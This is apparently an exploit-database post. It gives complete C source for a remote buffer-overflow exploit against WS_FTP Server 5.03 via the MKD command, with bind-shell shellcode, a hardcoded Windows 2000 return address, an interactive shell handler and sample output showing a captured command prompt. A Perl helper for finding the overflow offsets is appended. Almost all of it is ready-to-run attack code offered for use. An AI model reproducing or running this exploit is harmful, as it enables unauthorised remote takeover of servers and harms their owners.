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WS_FTP Server <= 5.03 MKD Remote Buffer Overflow Exploit
======================================================== WS_FTP Server <= 5.03 MKD Remote Buffer Overflow Exploit ======================================================== /* no@0x00:~/Exploits/IPS-WSFTP$ ./IPSWSFTP-exploit 10.20.30.2 test test ***Ipswitch WS_FTP Remote buffer overflow exploit by NoPh0BiA.*** [x] Connected to: 10.20.30.2 on port 21. [x] Sending Login..done. [x] Sending bad code..done. [x] Checking if exploitation was successful.. [x] Connected to: 10.20.30.2 on port 4444. [x] 0wn3d! Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> Greetz to Reed Arvin, NtWaK0,kane,schap, and kamalo :) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/types.h> #include <netinet/in.h> #include <errno.h> #define PORT 21 #define RPORT 4444 #define RET "\x53\x9B\x2E\x7C" /*win2k sp4*/ char shellcode[]= "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xb1\xbe" "\x94\x1d\x83\xeb\xfc\xe2\xf4\x4d\x56\xc2\x1d\xb1\xbe\xc7\x48\xe7" "\xe9\x1f\x71\x95\xa6\x1f\x58\x8d\x35\xc0\x18\xc9\xbf\x7e\x96\xfb" "\xa6\x1f\x47\x91\xbf\x7f\xfe\x83\xf7\x1f\x29\x3a\xbf\x7a\x2c\x4e" "\x42\xa5\xdd\x1d\x86\x74\x69\xb6\x7f\x5b\x10\xb0\x79\x7f\xef\x8a" "\xc2\xb0\x09\xc4\x5f\x1f\x47\x95\xbf\x7f\x7b\x3a\xb2\xdf\x96\xeb" "\xa2\x95\xf6\x3a\xba\x1f\x1c\x59\x55\x96\x2c\x71\xe1\xca\x40\xea" "\x7c\x9c\x1d\xef\xd4\xa4\x44\xd5\x35\x8d\x96\xea\xb2\x1f\x46\xad" "\x35\x8f\x96\xea\xb6\xc7\x75\x3f\xf0\x9a\xf1\x4e\x68\x1d\xda\x30" "\x52\x94\x1c\xb1\xbe\xc3\x4b\xe2\x37\x71\xf5\x96\xbe\x94\x1d\x21" "\xbf\x94\x1d\x07\xa7\x8c\xfa\x15\xa7\xe4\xf4\x54\xf7\x12\x54\x15" "\xa4\xe4\xda\x15\x13\xba\xf4\x68\xb7\x61\xb0\x7a\x53\x68\x26\xe6" "\xed\xa6\x42\x82\x8c\x94\x46\x3c\xf5\xb4\x4c\x4e\x69\x1d\xc2\x38" "\x7d\x19\x68\xa5\xd4\x93\x44\xe0\xed\x6b\x29\x3e\x41\xc1\x19\xe8" "\x37\x90\x93\x53\x4c\xbf\x3a\xe5\x41\xa3\xe2\xe4\x8e\xa5\xdd\xe1" "\xee\xc4\x4d\xf1\xee\xd4\x4d\x4e\xeb\xb8\x94\x76\x8f\x4f\x4e\xe2" "\xd6\x96\x1d\xa0\xe2\x1d\xfd\xdb\xae\xc4\x4a\x4e\xeb\xb0\x4e\xe6" "\x41\xc1\x35\xe2\xea\xc3\xe2\xe4\x9e\x1d\xda\xd9\xfd\xd9\x59\xb1" "\x37\x77\x9a\x4b\x8f\x54\x90\xcd\x9a\x38\x77\xa4\xe7\x67\xb6\x36" "\x44\x17\xf1\xe5\x78\xd0\x39\xa1\xfa\xf2\xda\xf5\x9a\xa8\x1c\xb0" "\x37\xe8\x39\xf9\x37\xe8\x39\xfd\x37\xe8\x39\xe1\x33\xd0\x39\xa1" "\xea\xc4\x4c\xe0\xef\xd5\x4c\xf8\xef\xc5\x4e\xe0\x41\xe1\x1d\xd9" "\xcc\x6a\xae\xa7\x41\xc1\x19\x4e\x6e\x1d\xfb\x4e\xcb\x94\x75\x1c" "\x67\x91\xd3\x4e\xeb\x90\x94\x72\xd4\x6b\xe2\x87\x41\x47\xe2\xc4" "\xbe\xfc\xed\x3b\xba\xcb\xe2\xe4\xba\xa5\xc6\xe2\x41\x44\x1d"; struct sockaddr_in hrm; void shell(int sock) { fd_set fd_read; char buff[1024]; int n; while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { n=read(sock,buff,sizeof(buff)); if (n == 0) { printf ("Connection closed.\n"); exit(EXIT_FAILURE); } else if (n < 0) { perror("read remote"); exit(EXIT_FAILURE); } write(1,buff,n); } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<=0){ perror ("read user"); exit(EXIT_FAILURE); } write(sock,buff,n); } } close(sock); } int conn(char *ip,int p) { int sockfd; hrm.sin_family = AF_INET; hrm.sin_addr.s_addr = inet_addr(ip); hrm.sin_port = htons(p); bzero(&(hrm.sin_zero),8); sockfd=socket(AF_INET,SOCK_STREAM,0); if((connect(sockfd,(struct sockaddr*)&hrm,sizeof(struct sockaddr))) < 0) { perror("connect"); exit(0); } printf("[x] Connected to: %s on port %d.\n",ip,p); return sockfd; } int main(int argc, char *argv[]) { printf("***Ipswitch WS_FTP Remote buffer overflow exploit by NoPh0BiA.***\n"); if(argc<4) { fprintf(stderr,"Usage: IP USER PASS\n"); exit(0); } char *buffer=malloc(954),*A=malloc(519),*B=malloc(32),*target=argv[1],*user=malloc(32),*pass=malloc(32),*request=malloc(32); int x,y; memset(request,'\0',32); memset(user,'\0',32); memset(pass,'\0',32); memset(buffer,'\0',954); memset(A,0x41,519); memset(B,0x42,32); strcpy(user,argv[2]); strcpy(pass,argv[3]); strcat(buffer,A); strcat(buffer,RET); strcat(buffer,B); strcat(buffer,shellcode); sprintf(request,"USER %s\r\nPASS %s\r\n",user,pass); x = conn(target,PORT); printf("[x] Sending Login.."); write(x,request,strlen(request)); printf("done.\n"); sleep(2); printf("[x] Sending bad code.."); write(x,"MKD ",4); write(x,buffer,954); write(x,"\r\n",2); printf("done.\n"); sleep(2); close(x); printf("[x] Checking if exploitation was successful..\n"); y=conn(target,RPORT); printf("[x] 0wn3d!\n\n"); shell(y); close(y); } /* Helper script: The following Perl script can be used to find the coordinates for A and B so that the RET address affects the EIP and the shellcode is executed. #!/usr/bin/perl # WS_FTP RET Address finder # Noam Rathaus of Beyond Security Ltd. # use strict; use IO::Socket::INET; usage() unless (@ARGV >= 2); my $host = shift(@ARGV); my $port = shift(@ARGV); my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port); $socket or die "Cannot connect to the host.\n"; $socket->autoflush(1); while (<$socket>) { print $_; if (/220 /) { last; } } print $socket "USER noam\n"; while (<$socket>) { print $_; if (/331 /) { last; } } print $socket "PASS password\n"; while (<$socket>) { print $_; if (/230 /) { last; } } my $RET = 4; my $size = 2000; my $presize = shift(@ARGV) || 200; my $postsize = shift(@ARGV) || 800; print $socket "MKD ".("A"x$presize)."DEEF".("B"x($size - $presize - $postsize - $RET)).("C"x$postsize)."\n"; while (<$socket>) { print $_; } print "Done.\n"; close($socket); exit(0); sub usage { print "\nws_ftp.pl MKD aligment assistant\n"; print "\nUsage: ws_ftp.pl [host] [port] [pre] [post]\n"; print "We generate something of the sorts of \"A\"xpre \"DEEF\" \"B\"x(2000-pre-post-4) \"C\"xpost.\n"; print "You need to align your pre and post so that the EIP is DEEF 0x44454546\n"; print "\n"; exit(1); } */ # 0day.today [2024-11-16] #